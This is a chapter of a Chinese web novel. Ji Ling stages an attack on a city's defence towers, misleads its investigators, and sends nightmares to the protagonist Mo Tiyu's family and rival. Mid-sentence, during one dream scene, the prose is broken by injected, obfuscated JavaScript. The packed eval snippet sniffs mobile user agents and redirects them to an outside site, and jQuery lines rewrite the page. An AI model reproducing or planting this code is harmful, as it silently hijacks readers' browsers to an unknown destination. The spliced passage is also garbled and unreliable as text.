15.霁泠操控的噩梦
作品:《渣攻停止雨中追妻》 无人机那头的人无条件执行霁泠的指令。
绯岸核心城从来不在霁泠舰队成员的目标里,按照从前的设想,他们如果能和绯岸达成友好关系,那么绯岸会以一个独立的政治区域和舰队进行一些资源交换,并起到一些和苍雪岸斡旋的作用。
但那是莫提雨在军部且是军部核心人员的前提下。
有莫提雨,绯岸还算一个可以谈判的势力,没有莫提雨,那么绯岸最大的价值就是它的海岸线。
“噩梦。”
噩梦发生了。
“是谁,是谁干的?有没有塔能传回信息?是变异者吗?”
“我们的塔被袭击了!我们的塔没有提前识别到信息,敌人的进攻是突然发动的!”
深夜,每个领域的顶层全部被叫起来开会,轰炸后的告警声响彻每个人的精神图景,从海岸线到核心区域,所有信息混乱地撞击着,绯岸的塔从未有过如此混乱的时刻,精神的庇护消失了,白噪音里掺入了冷冰冰的风声。
所有人都在冒冷汗。
莫父同样也在这个行列里,他被临时请来,编入了作战指挥部,所有人都知道请他的理由——因为他儿子叫莫提雨。
莫父说不定有办法。
“莫元帅,请您向议会再说一说,把莫提雨提前释放,而且无罪释放吧。”
莫父办公室,几个前线高层作战指挥一起出现了,他们七嘴八舌说道:“莫上校在的时候升级了所有海岸边境信息塔的识别回路,每一种信息都是他自己识别过的,这件事非他不可。我们也是在休息期被紧急危机召回,我们熟悉这种情况,如果不能维护升级塔的情报能力,那么结果就会是我们连谁攻击的我们都不知道!”
“莫上校负责了全部的海上防务,有些经验是其他人根本没有的,新上来的顾长官也不会明白,有的塔看起来在正常解析数据,但已经被污染了,错误的识别会把所有的事情导向错误的方向!”
这些从海防回来休息的士兵本来应当是个意外,有关他们说的情况,莫父和其他人也的确有所耳闻。
但现在的问题是莫提雨不能出来,因为他没有获得公众的原谅。
舆论影响选票,选票影响投资人的生意,而莫提雨生在他们这样的家庭,出生就注定了他的势力;民众和塔将他们推举上去作为代言人,如果一直违逆民意,那么要下台的人已经远不止莫提雨一个。选票决定了生死,决定了权利和金钱流向的方式,无人能置身事外,尤其是莫家本来就树大根深……
这份利害关系,莫父是掂量得明明白白的。
他有不触及盟友利益,同时也保下莫提雨一条命的办法,但那个办法中,不应该包含着现在立刻启用莫提雨。
白慕予,他看得准,这个年轻人有过人的手腕,而且比莫提雨心更狠,做事方式更合各方人物的口味。现在这两个孩子的确是出了一些问题不假,但假以时日……白慕予能够帮助莫提雨回到正常的轨迹中,而且说不定可以成为关键的助力。这是莫提雨的福气。
所以,那个公众道歉是唯一的关键。
“我知道了,辛苦你们。”莫父点了点头示意已经完全听见了他们的建议,“他在海上防务中升级的数据样本会马上传回来,我们会重视。”
“所有人会通过现场侦查的方式进行信息筛选,这样可以提高一些准确度。现场的痕迹、气味、情绪……所有的外勤哨兵出动,外出侦查!消息要暂时压下去,不要引起公众恐慌。”
消防车挤满了街道,对外的说法是目前发生了多处的小范围爆炸,更多的是穿着制服的哨兵,他们形色匆匆,和向导一起在街头、郊区巡视和调查。
哨兵擅长追踪一切。
气味,光影,痕迹。
但一切皆可成为幻觉,动物尚且有伪装色,不要说精神力强大到没边的哨兵。
有哨兵说闻见硝烟的味道,来自某种古老的轮发枪械;有向导说自己识别出了仇恨和疯狂的快意;升级修复后的塔对比着旧日的资料,交叉分析出一群模糊、危险的人,三十人以上,他们穿过了长长的陆地,来自更边远的地方;摄像头则根本没拍到任何人影。
一切信息是如此清晰,给人的感觉确凿无疑。
种种证据显示,发起攻击的人是境外的流浪者,从前已有被通缉的资料。他们可能怀着某种勒索的目的策划了这次行动,这次的信息中有五个以上的人被认出,而且信息在原来的基础上有了更新,有一些人明显年纪更大、作战经验更老辣了。
更多的分析报告在不断解析中,真相一寸寸地浮出了水面。
“长官,是五年前的一个臭名昭著的境外匪徒团伙干的,他们……”
云消雪霁,信息被风衣上抖落的风截断。
霁泠收回精神力,戴上降噪耳机,开始播放白噪音。静音通讯器的屏幕上还在跳出同伴们的讨论。像素字,黑白字,最低密度的信息摄入。
“绯岸的分析居然全部错误。老大,我们从没做过这么顺利的布置。”
“我们开始做后续准备了。老大,如果那个人真的能来我们这边,很多事都能好转。”
“老大,现有的泛用性向导素能用则用,我们正在加紧制作下一批。”
“老大,我们将按计划终止联系,你和那个人,都请多保重。”
“咔哒”一声,通讯中断,信息的频率彻底消除。
霁泠站在钢筋混凝土的楼顶,闭眼享受了一会儿这半分钟的安静。
莫提雨还没有同意与他进行更深入的链接,但他对听不见的频率的耐受度已经明显变好。
霁泠完全清楚莫提雨的顾虑,莫提雨的精神力情况过于破碎了,是他的原则让他不愿耽误霁泠的未来。
他可以等,等蝴蝶愿意振翅。
便利店里买来的东西还散发着加热后的余温,霁泠伸出手,将一瓶草莓牛奶拿了出来。
他是哨兵,味觉比寻常人敏感无数倍,莫提雨爱喝的这个牌子对他来说有一点浓厚了,但他还是买了它。
拧开盖子,草莓的酸甜芳香瞬间绽出,抿一口后,又好像并没有想象中的那么浓厚了。
霁泠喝了一口,又喝了好几口,仔细品尝,思索着未知生物会因为它溢出的喜欢和舒适,神情冷肃,如同在研究一份作战报告。
哄人的事他没有研究过,因为完全缺乏实际经验,霁泠认为日后需要深度学习。
不过目前倒是还有更擅长的事。
比如让人睡不着,比如让人做噩梦。
顾浪的噩梦已经开始了。
绯岸塔遭到流浪者团伙攻击,这是重大的安全失误,虽然顾浪接手的是海上防务,这件事跟他关系不大,但是每一环他都必须负责和确认,他需要解释海上和绯岸城市内部的信息差,参与每一个流程的运转,所有人等着他交一个令所有人平安的答卷。
交不出就走人,政治生涯基本也可以终结了。
他甚至没办法求助莫提雨,因为莫提雨的状态早已回不去从前,从前盯着莫提雨的无数双眼睛,现在也盯着他。但有行差踏错,下场就和莫提雨一样。
复杂的数据流面前,顾浪冷汗直流,一边的士兵跑步走入:“长官,有四个上层的电话要你接。”
“我会接,我会……”顾浪双眼发直,喃喃地说道。
……
军部的违纪情况并不为民众知道,多处爆破起火的消息虽然已经上了新闻,但没有造成什么恐慌。
白慕予在家中。
白慕予在做噩梦。
从那颗袖口上的钻石掉落之后,他就开始做噩梦,不知道为什么。可能天气变化实在太剧烈了,也可能是没睡好。
他是究极聪明的人,而聪明的人一向会有一些预兆一般的直觉,即便说不出来龙去脉,但那个预兆般的感受会始终刺着他的脑海。
他对莫提雨的气味感知变弱了。与其说是变弱了,好像是它消失了。记忆虽然还存在,但是昔日的明朗、温柔、保护全都变成了记忆中的一个符号,他好像没办法反反复复地去讲述、去回忆了,就好像有人收走了他的天赋。
梦中,他如往日一样做好稿件准备,等待工作人员做好调试,准备
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193011|196951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
微笑着迎接全世界的观众,就像他的每一天一样。
但他突然发现观众们站了起来,厌恶地对他摇摇头,然后一个接一个地离开了,大厅瞬间空无一人,而他一低头,发现演播室也已经陈旧不堪,面前的稿子覆满了灰尘,上面一片空白,根本没写出一个字。
他挂在墙上的高清写真也在扭曲和变化,那样漂亮的眼睛,小鹿一样懵懂迷离的眼睛和开心的微笑变成了扭曲怪异的狞笑。
“不不不,我不是这样的,我不长这样……”白慕予崩溃地摇摇头,扑上去想要遮挡这幅写真,但写真却突然变成了镜子:这张狰狞的脸原来就是他自己,他怎么做都无法回到原来的表情。
潮水般的恐惧将他包围。空间中似乎有一双冷静的眼睛在看他,而且看穿他,不论他如何低头,不论他如何微笑,走到哪里,这双眼睛都如影随形。
……
那是一双向导的眼睛,莫提雨的眼睛。
随时随地,看穿他的眼睛。
这只是一个噩梦。
白慕予面色苍白地坐起来,呼吸都在抖,他迅速地翻找自己的设备,全部打开,他看到有关他的留言全部都是欢快和俏皮的,一切都和以前一样。
白慕予颤抖着发送状态:“没睡好,还做噩梦了。失眠真难熬!”
这条状态很快被大批粉丝转发、亲亲抱抱,信息提示音堆叠起来,成了精神的宽慰。
他的呼吸终于慢慢平静,但还是很恐惧。这种恐惧无法向外人言说,他需要更多的、更多的关注,更多双关注他的眼睛,赞赏他的话语,他需要自己坚韧不可摧毁。
莫母也在做噩梦。
她和白慕予同时梦见了莫提雨的眼睛。
莫母的噩梦倒是没出现其他的,只是这处莫提雨购置的宅邸忽而变成了走不回来的迷宫。不论她怎么走,怎么走……都无法从走廊中离开。
梦中窗户开着,外边的花园却已经荒芜得望不到边。她看见年幼的莫提雨站在大门口,瘦瘦小小的一个,如同一个铁灰色的鬼影,那双沉默,倔强的眼睛依旧冷冷地看着她。
她亲生的骨肉,她自我的延伸,长成了这副模样,她最讨厌的那类人的模样。
自我,倔强,不受控制。
她在梦中也情绪激烈起来,说:“又是这个表情。我真的不明白你怎么了,你变成了这样。”
“像小时候那样听话的你,去哪儿了?”
血液上涌,剧烈的气闷几乎顶破胸前,原始的厌恶和愤怒一拥而上,莫母也从梦中惊惶醒来。
“从来没做过这种噩梦,都是提雨害得。”她从床头摸出眼镜,自言自语了一下,“还是他的事太让我烦心了。”
……
黯淡的、蓝色夹杂着黑色的精神粒子在霁泠指尖流转。
这是他回收的莫提雨的精神粒子。它们不只存在于莫提雨失控时的伤口中,莫提雨从小到大所有的活动,想法,记忆,或多或少都会留下精神力的痕迹。
哨兵可以从中看到一切。哪怕看不到情绪,也能看到莫提雨身边的人们——那些包装后的眼神,白慕予漂亮动人的眼睛,难过的神态,弱小的视线;莫父不容置疑的眼神,或是莫母犹疑不定的、不耐烦又憎恶的眼神。
没有任何一个眼神属于爱,全部透过莫提雨看着一个虚幻的投影。
“纵使你们没有看见过他,他也给你们留下过礼物。”霁泠对着空气淡淡地说,“感受噩梦吧。他的部分我带走了,对你们来说,这就叫离别。”
……即使这些人还没有意识到。
但离别往往就是如此,发生在真正的离别之前。
霁泠将这些精神粒子收在手中,随后放入自己的精神图景。
他在给莫提雨准备的花园里放着一个永动的琉璃钢琴,精神粒子化成了琴弦,它们自由移动和流散,驱动重锤撞击琴弦,并不发出声音,只奏出不同颜色的流光。
曾经莫提雨会弹奏钢琴,他没有亲眼见过,只偶尔在路过学校演奏室的时候,捕捉过莫提雨去过的痕迹,他知道他抚过的每一个琴键。

